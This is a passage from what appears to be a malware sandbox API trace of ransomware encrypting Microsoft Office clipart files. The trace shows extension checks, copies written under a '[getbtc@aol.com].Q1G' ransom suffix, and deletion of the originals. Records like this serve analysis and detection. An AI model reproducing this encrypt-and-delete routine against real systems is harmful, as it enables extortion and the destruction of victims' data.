Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0249.439] lstrlenW (lpString=".zip") returned 4 [0249.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.440] lstrlenW (lpString=".rar") returned 4 [0249.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.440] lstrlenW (lpString=".bz2") returned 4 [0249.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.440] lstrlenW (lpString=".7z") returned 3 [0249.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0249.440] lstrlenW (lpString=".dbf") returned 4 [0249.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0249.440] lstrlenW (lpString=".1cd") returned 4 [0249.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0249.440] lstrlenW (lpString=".jpg") returned 4 [0249.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.440] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.440] lstrlenW (lpString="FD00077_.WMF") returned 12 [0249.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.454] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=30240) returned 1 [0249.455] CloseHandle (hObject=0x204) returned 1 [0249.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x20 [0249.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.475] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.475] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.476] GetLastError () returned 0x0 [0249.476] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x7620, lpOverlapped=0x0) returned 1 [0249.478] WriteFile (in: hFile=0x3b0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x7630, lpOverlapped=0x0) returned 1 [0249.479] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.479] WriteFile (in: hFile=0x3b0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.479] SetEndOfFile (hFile=0x3b0) returned 1 [0249.479] CloseHandle (hObject=0x3b0) returned 1 [0249.479] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.479] SetEndOfFile (hFile=0x204) returned 1 [0249.482] CloseHandle (hObject=0x204) returned 1 [0249.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0249.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0249.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0249.483] lstrlenW (lpString=".doc") returned 4 [0249.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.483] lstrlenW (lpString=".docx") returned 5 [0249.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.483] lstrlenW (lpString=".pdf") returned 4 [0249.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.483] lstrlenW (lpString=".xls") returned 4 [0249.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.483] lstrlenW (lpString=".xlsx") returned 5 [0249.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.483] lstrlenW (lpString=".ppt") returned 4 [0249.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0249.483] lstrlenW (lpString=".zip") returned 4 [0249.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.483] lstrlenW (lpString=".rar") returned 4 [0249.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.483] lstrlenW (lpString=".bz2") returned 4 [0249.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.483] lstrlenW (lpString=".7z") returned 3 [0249.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0249.483] lstrlenW (lpString=".dbf") returned 4 [0249.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0249.484] lstrlenW (lpString=".1cd") returned 4 [0249.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0249.484] lstrlenW (lpString=".jpg") returned 4 [0249.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0249.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0249.484] lstrlenW (lpString=".doc") returned 4 [0249.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.484] lstrlenW (lpString=".docx") returned 5 [0249.484] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.484] lstrlenW (lpString=".pdf") returned 4 [0249.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.484] lstrlenW (lpString=".xls") returned 4 [0249.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.484] lstrlenW (lpString=".xlsx") returned 5 [0249.484] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.484] lstrlenW (lpString=".ppt") returned 4 [0249.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0249.484] lstrlenW (lpString=".zip") returned 4 [0249.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.484] lstrlenW (lpString=".rar") returned 4 [0249.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.484] lstrlenW (lpString=".bz2") returned 4 [0249.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.484] lstrlenW (lpString=".7z") returned 3 [0249.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0249.484] lstrlenW (lpString=".dbf") returned 4 [0249.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0249.484] lstrlenW (lpString=".1cd") returned 4 [0249.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0249.485] lstrlenW (lpString=".jpg") returned 4 [0249.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.485] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.485] lstrlenW (lpString="FD00296_.WMF") returned 12 [0249.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.485] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=15856) returned 1 [0249.485] CloseHandle (hObject=0x204) returned 1 [0249.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x20 [0249.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.486] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.486] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.486] GetLastError () returned 0x0 [0249.486] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x3df0, lpOverlapped=0x0) returned 1 [0249.644] WriteFile (in: hFile=0x3b0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x3e00, lpOverlapped=0x0) returned 1 [0249.645] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.645] WriteFile (in: hFile=0x3b0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.646] SetEndOfFile (hFile=0x3b0) returned 1 [0249.646] CloseHandle (hObject=0x3b0) returned 1 [0249.646] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.646] SetEndOfFile (hFile=0x204) returned 1 [0249.648] CloseHandle (hObject=0x204) returned 1 [0249.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0249.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0249.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0249.650] lstrlenW (lpString=".doc") returned 4 [0249.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.650] lstrlenW (lpString=".docx") returned 5 [0249.650] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.650] lstrlenW (lpString=".pdf") returned 4 [0249.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.650] lstrlenW (lpString=".xls") returned 4 [0249.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.650] lstrlenW (lpString=".xlsx") returned 5 [0249.650] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.650] lstrlenW (lpString=".ppt") returned 4 [0249.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0249.650] lstrlenW (lpString=".zip") returned 4 [0249.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.650] lstrlenW (lpString=".rar") returned 4 [0249.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.651] lstrlenW (lpString=".bz2") returned 4 [0249.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.651] lstrlenW (lpString=".7z") returned 3 [0249.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0249.651] lstrlenW (lpString=".dbf") returned 4 [0249.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0249.651] lstrlenW (lpString=".1cd") returned 4 [0249.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0249.651] lstrlenW (lpString=".jpg") returned 4 [0249.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0249.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0249.651] lstrlenW (lpString=".doc") returned 4 [0249.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.651] lstrlenW (lpString=".docx") returned 5 [0249.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.651] lstrlenW (lpString=".pdf") returned 4 [0249.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.651] lstrlenW (lpString=".xls") returned 4 [0249.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.651] lstrlenW (lpString=".xlsx") returned 5 [0249.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.651] lstrlenW (lpString=".ppt") returned 4 [0249.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0249.651] lstrlenW (lpString=".zip") returned 4 [0249.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.651] lstrlenW (lpString=".rar") returned 4 [0249.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.651] lstrlenW (lpString=".bz2") returned 4 [0249.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.651] lstrlenW (lpString=".7z") returned 3 [0249.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0249.652] lstrlenW (lpString=".dbf") returned 4 [0249.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0249.652] lstrlenW (lpString=".1cd") returned 4 [0249.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0249.653] lstrlenW (lpString=".jpg") returned 4 [0249.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.653] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.653] lstrlenW (lpString="FD00336_.WMF") returned 12 [0249.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.654] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=6068) returned 1 [0249.654] CloseHandle (hObject=0x204) returned 1 [0249.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x20 [0249.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.654] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.654] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.655] GetLastError () returned 0x0 [0249.655] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x17b4, lpOverlapped=0x0) returned 1 [0249.663] WriteFile (in: hFile=0x3b0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0249.664] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.664] WriteFile (in: hFile=0x3b0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.664] SetEndOfFile (hFile=0x3b0) returned 1 [0249.664] CloseHandle (hObject=0x3b0) returned 1 [0249.664] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.664] SetEndOfFile (hFile=0x204) returned 1 [0249.666] CloseHandle (hObject=0x204) returned 1 [0249.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0249.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0249.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0249.667] lstrlenW (lpString=".doc") returned 4 [0249.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.667] lstrlenW (lpString=".docx") returned 5 [0249.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.667] lstrlenW (lpString=".pdf") returned 4 [0249.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.667] lstrlenW (lpString=".xls") returned 4 [0249.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.667] lstrlenW (lpString=".xlsx") returned 5 [0249.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.668] lstrlenW (lpString=".ppt") returned 4 [0249.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0249.668] lstrlenW (lpString=".zip") returned 4 [0249.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.668] lstrlenW (lpString=".rar") returned 4 [0249.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.668] lstrlenW (lpString=".bz2") returned 4 [0249.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.668] lstrlenW (lpString=".7z") returned 3 [0249.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0249.668] lstrlenW (lpString=".dbf") returned 4 [0249.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0249.668] lstrlenW (lpString=".1cd") returned 4 [0249.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0249.668] lstrlenW (lpString=".jpg") returned 4 [0249.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0249.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0249.668] lstrlenW (lpString=".doc") returned 4 [0249.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.668] lstrlenW (lpString=".docx") returned 5 [0249.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.668] lstrlenW (lpString=".pdf") returned 4 [0249.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.668] lstrlenW (lpString=".xls") returned 4 [0249.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.668] lstrlenW (lpString=".xlsx") returned 5 [0249.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.668] lstrlenW (lpString=".ppt") returned 4 [0249.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0249.669] lstrlenW (lpString=".zip") returned 4 [0249.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.669] lstrlenW (lpString=".rar") returned 4 [0249.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.669] lstrlenW (lpString=".bz2") returned 4 [0249.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.669] lstrlenW (lpString=".7z") returned 3 [0249.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0249.669] lstrlenW (lpString=".dbf") returned 4 [0249.669] 